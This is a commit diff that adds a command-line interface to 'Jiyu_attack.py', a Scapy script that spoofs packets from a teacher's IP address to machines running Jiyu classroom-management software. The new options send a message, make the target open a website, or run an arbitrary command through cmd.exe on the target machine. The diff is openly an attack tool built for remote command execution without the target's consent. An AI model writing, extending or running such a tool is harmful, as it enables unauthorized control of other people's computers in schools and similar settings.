feat: Add command-line interface for Jiyu Attack script with message, website, and command options

Author: weilycoder

Jiyu_attack.py

@@ -7,6 +7,7 @@
 The script uses Scapy for packet manipulation and sending.
 """
 
+import argparse
 import secrets
 
 from typing import Literal, Optional
@@ -138,12 +139,28 @@ def pkg_website(url: str) -> bytes:
 
 
 if __name__ == "__main__":
-    teacher_ip = input("Enter the teacher's IP address: ").strip()
-    target = input("Enter the target IP address: ").strip()
-    while True:
-        tmsg = input("Enter your message (empty to exit): ")
-        if not tmsg:
-            print("Exiting...")
-            break
-        payload = pkg_message(tmsg)
-        broadcast_packet(teacher_ip, target, 4705, payload)
+    parser = argparse.ArgumentParser(description="Jiyu Attack Script")
+    parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address")
+    parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address")
+    parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)")
+
+    group = parser.add_mutually_exclusive_group(required=True)
+    group.add_argument("-m", "--message", type=str, help="Message to send")
+    group.add_argument("-w", "--website", type=str, help="Website URL to ask to open")
+    group.add_argument("-c", "--command", type=str, help="Command to execute on the target")
+
+    args = parser.parse_args()
+    teacher_ip = args.teacher_ip
+    target = args.target
+    port = args.port
+    if args.message:
+        payload = pkg_message(args.message)
+    elif args.website:
+        payload = pkg_website(args.website)
+    elif args.command:
+        payload = pkg_command("cmd.exe", f'/D /C "{args.command}"', "minimize")
+    else:
+        raise ValueError("Either message or website must be provided")
+
+    broadcast_packet(teacher_ip, target, port, payload)
+    print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes")